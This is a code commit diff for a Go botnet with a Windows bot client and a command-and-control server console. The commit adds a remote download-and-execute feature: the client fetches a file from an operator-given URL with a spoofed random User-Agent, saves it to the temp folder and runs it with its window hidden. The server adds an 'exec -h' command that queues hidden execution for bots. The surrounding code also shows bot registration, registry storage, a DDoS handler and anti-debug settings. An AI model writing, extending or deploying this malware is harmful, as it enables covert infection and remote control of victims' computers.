Skip to content

Commit bd63106

Browse files
unknownunknown
authored andcommitted
✅ Update v1.2.1
1. Add exec command 2. Other fixes
1 parent eebd7f9 commit bd63106

File tree

6 files changed

+166
-24
lines changed

6 files changed

+166
-24
lines changed

client/components/core.go

Lines changed: 21 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@ package components
33
import (
44
"log"
55
"os"
6+
"strings"
67
"time"
78

89
"golang.org/x/sys/windows/registry"
@@ -13,7 +14,25 @@ func do_register_bot(pkg *ServerReply, host string) bool {
1314
}
1415

1516
func do_remote_download_execute(pkg *ServerReply, host string) bool {
16-
return false
17+
commandline := pkg.Args["args"]
18+
strArgs := strings.Fields(commandline.(string))
19+
option := ""
20+
21+
// Collect options if it exists
22+
if len(strArgs) > 1 {
23+
for i := 1; i < len(strArgs); i++ {
24+
option += (strArgs[i] + " ")
25+
}
26+
option = strings.TrimSpace(option)
27+
}
28+
// Remote download and execute
29+
ok := remote_execute(strArgs[0], pkg.Args["hidden"].(bool), option)
30+
31+
var reply ServerReply
32+
reply.Args = make(map[string]any)
33+
reply.Headers = make(map[string]string)
34+
35+
return
1736
}
1837

1938
func do_ddos_attack(pkg *ServerReply, host string) bool {
@@ -59,6 +78,7 @@ func send_poll_request(host string) BotState {
5978
if reply == nil || !check_package_legality(reply) {
6079
return StateCommandPoll
6180
}
81+
reply.Cmd = strings.TrimSpace(reply.Cmd)
6282

6383
switch reply.Cmd {
6484
case "register":
@@ -103,7 +123,6 @@ func auth_bot_poll(state BotState, host string) BotState {
103123
break
104124
}
105125
}
106-
107126
next_state = StateGenGuid
108127
case StateReadToken:
109128
val := reg_read_key(registry.CURRENT_USER, g_regpath, "token", false)

client/components/functions.go

Lines changed: 43 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -1,15 +1,31 @@
11
package components
22

33
import (
4+
"log"
45
"net/http"
6+
"net/url"
57
"os/exec"
6-
"strings"
8+
"runtime"
9+
"syscall"
710
)
811

9-
func downloader(mode string, content string, md5 string, params string) {
10-
if mode == "0" {
11-
12+
func remote_execute(path string, hidden bool, args ...string) bool {
13+
// Check if it's an URL or not
14+
u, err := url.Parse(path)
15+
if err != nil {
16+
return false
17+
}
18+
if u.Scheme != "" && u.Host != "" {
19+
// Ye, it is url, download it from remote host
20+
path = download_from_url(path, "")
21+
if path == "" {
22+
// Failed to download
23+
log.Println("Failed to remote download")
24+
return false
25+
}
1226
}
27+
28+
return start_exe(path, hidden, args...)
1329
}
1430

1531
func openurl(url string, mode string) bool {
@@ -26,18 +42,31 @@ func openurl(url string, mode string) bool {
2642
return err != nil
2743
}
2844

29-
func start_exe(name string) bool {
30-
if strings.Contains(name, ".exe") {
31-
var final_name string
32-
binary, err := exec.LookPath(name)
33-
if err != nil {
34-
final_name = name
35-
} else {
36-
final_name = binary
45+
func start_exe(name string, hidden bool, args ...string) bool {
46+
// binary, err := exec.LookPath(name)
47+
// if err != nil {
48+
// final_name = name
49+
// } else {
50+
// final_name = binary
51+
// }
52+
53+
cmd := exec.Command(name, args...)
54+
switch runtime.GOOS {
55+
case "windows":
56+
if hidden {
57+
cmd.SysProcAttr = &syscall.SysProcAttr{
58+
HideWindow: true,
59+
}
60+
}
61+
default:
62+
exec.Command("chmod", "+x", name).Run()
63+
if hidden {
64+
cmd.Stdout = nil
65+
cmd.Stderr = nil
3766
}
38-
return exec.Command(final_name).Start() == nil
3967
}
40-
return false
68+
69+
return cmd.Start() == nil
4170
}
4271

4372
func kill(name string) bool {

client/components/global.go

Lines changed: 10 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -73,7 +73,7 @@ var (
7373
pfnGetCurrentProcess = kernel32.NewProc("GetCurrentProcess")
7474

7575
botcore = BotCore{
76-
version: "1.2.0",
76+
version: "1.2.1",
7777
hosts: []string{"127.0.0.1:8080"},
7878
singleton: true,
7979
anti_debug: false,
@@ -133,6 +133,15 @@ type ServerReply struct {
133133
Headers map[string]string `json:"-"`
134134
}
135135

136+
type Report struct {
137+
Guid string `json:"guid"`
138+
TaskID string `json:"task_id"`
139+
Success bool `json:"success"`
140+
Output string `json:"output"`
141+
Error string `json:"error"`
142+
Extra map[string]any `json:"extra"`
143+
}
144+
136145
type Client struct {
137146
Id int `json:"id"`
138147
Guid string `json:"guid"`

client/components/net.go

Lines changed: 75 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,11 @@ import (
88
"io"
99
"log"
1010
"net/http"
11+
"os"
12+
"path"
13+
"path/filepath"
1114
"strconv"
15+
"time"
1216
)
1317

1418
var clientHTTP = &http.Client{
@@ -167,3 +171,74 @@ func check_package_legality(pkg *ServerReply) bool {
167171

168172
return true
169173
}
174+
175+
func download_from_url(url, file_name string) string {
176+
// HTTP agent with overtime limitation
177+
client := &http.Client{
178+
Timeout: 20 * time.Second,
179+
}
180+
181+
// Create a new HTTP GET request
182+
req, err := http.NewRequest("GET", url, nil)
183+
if err != nil {
184+
return ""
185+
}
186+
// Create a fake UA
187+
var UserAgents = []string{
188+
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
189+
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edg/124.0.0.0 Safari/537.36",
190+
"Mozilla/5.0 (Macintosh; Intel Mac OS X 13_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4 Safari/605.1.15",
191+
"Mozilla/5.0 (Macintosh; Intel Mac OS X 13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
192+
"Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1",
193+
"Mozilla/5.0 (Linux; Android 13; SM-G988B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Mobile Safari/537.36",
194+
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
195+
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0",
196+
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:125.0) Gecko/20100101 Firefox/125.0",
197+
"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36",
198+
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Electron/29.1.0 Chrome/122.0.0.0 Safari/537.36",
199+
"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
200+
}
201+
// Set HTTP header and send GET request
202+
req.Header.Set("User-Agent", UserAgents[g_seed.Intn(len(UserAgents))])
203+
resp, err := client.Do(req)
204+
if err != nil {
205+
return ""
206+
}
207+
defer resp.Body.Close()
208+
209+
// Check statuscode of http response
210+
if resp.StatusCode != 200 {
211+
return ""
212+
}
213+
214+
// Build save path
215+
final_file_path := ""
216+
temp_file_name := ""
217+
218+
if file_name == "" {
219+
// If user doesn't specfiy file path, try to parse it from url
220+
temp_file_name = path.Base(resp.Request.URL.Path)
221+
if temp_file_name == "" || temp_file_name == "/" {
222+
// Oops, no? use default
223+
temp_file_name = random_string(random_int(5, 17)) + ".exe"
224+
}
225+
226+
} else {
227+
temp_file_name = file_name
228+
}
229+
final_file_path = filepath.Join(os.TempDir(), temp_file_name)
230+
231+
// Create file
232+
f, err := os.Create(final_file_path)
233+
if err != nil {
234+
return ""
235+
}
236+
defer f.Close()
237+
238+
_, err = io.Copy(f, resp.Body)
239+
if err != nil {
240+
return ""
241+
}
242+
243+
return final_file_path
244+
}

server/common/global.go

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@ var (
1111
Seed = rand.New(rand.NewSource(time.Now().UnixNano()))
1212
Cfg = Config{}
1313
Db *sql.DB = nil
14-
Version = "v1.2.0"
14+
Version = "v1.2.1"
1515
Account = ""
1616
CurrentBot int64 = 5
1717
Mutex sync.Mutex

server/main.go

Lines changed: 16 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -39,7 +39,7 @@ func show_bot_info(bot *common.Client) {
3939
fmt.Println("🐾 --------------------------------------------------- 🐾")
4040
fmt.Printf("👣 ID: %d\n", bot.Id)
4141
fmt.Println("🏴 Guid: " + bot.Guid)
42-
fmt.Println("🌍 IP: " + bot.Ip)
42+
fmt.Println("🌐 IP: " + bot.Ip)
4343
fmt.Println("👽 Who: " + bot.Whoami)
4444
fmt.Println("💻 OS: " + bot.Os)
4545
install, _ := strconv.ParseInt(bot.Installdate, 10, 64)
@@ -63,7 +63,7 @@ func show_bot_info(bot *common.Client) {
6363

6464
func help_handler() {
6565
fmt.Println("1. help/h: Show help menu")
66-
fmt.Println("2. exec path/url [args]: Execute executable file or download from host and execute")
66+
fmt.Println("2. exec [-h] path/url [args]: Execute executable file or download from host and execute, option -h decides if hidden execute")
6767
fmt.Println("3. cmd/pws: Remote cmd or powershell")
6868
fmt.Println("4. list: Show all bots")
6969
fmt.Println("5. info id: Show bot info which ID is id")
@@ -96,11 +96,22 @@ func select_handler(ary []string) {
9696

9797
func exec_handler(ary []string) {
9898
if len(ary) < 2 {
99-
fmt.Println("[-] Usage: exec path/url [args], please enter help command")
99+
fmt.Println("[-] Usage: exec [-h] path/url [args], please enter help command")
100100
return
101101
}
102102
var options string = ""
103-
for i := 1; i < len(ary); i++ {
103+
var hidden bool = false
104+
105+
if ary[1] == "-h" {
106+
hidden = true
107+
}
108+
109+
i := 1
110+
if hidden {
111+
i++
112+
}
113+
114+
for ; i < len(ary); i++ {
104115
options += " " + ary[i]
105116
}
106117
options = strings.TrimSpace(options)
@@ -126,7 +137,7 @@ func exec_handler(ary []string) {
126137
sqlStr = "insert into tasks (bot_id, command_id, args, status) values (?,?,?,?)"
127138
map_args := map[string]interface{}{
128139
"args": options,
129-
"hidden": "false",
140+
"hidden": hidden,
130141
}
131142
byt, _ := json.Marshal(map_args)
132143
_, err = db1.Insert(common.Db, sqlStr, common.CurrentBot, command_id, byt, "queued")
@@ -289,7 +300,6 @@ func main() {
289300
case "mode":
290301
mode_handler(cmdAry)
291302
}
292-
293303
}
294304

295305
}

0 commit comments

Comments
 (0)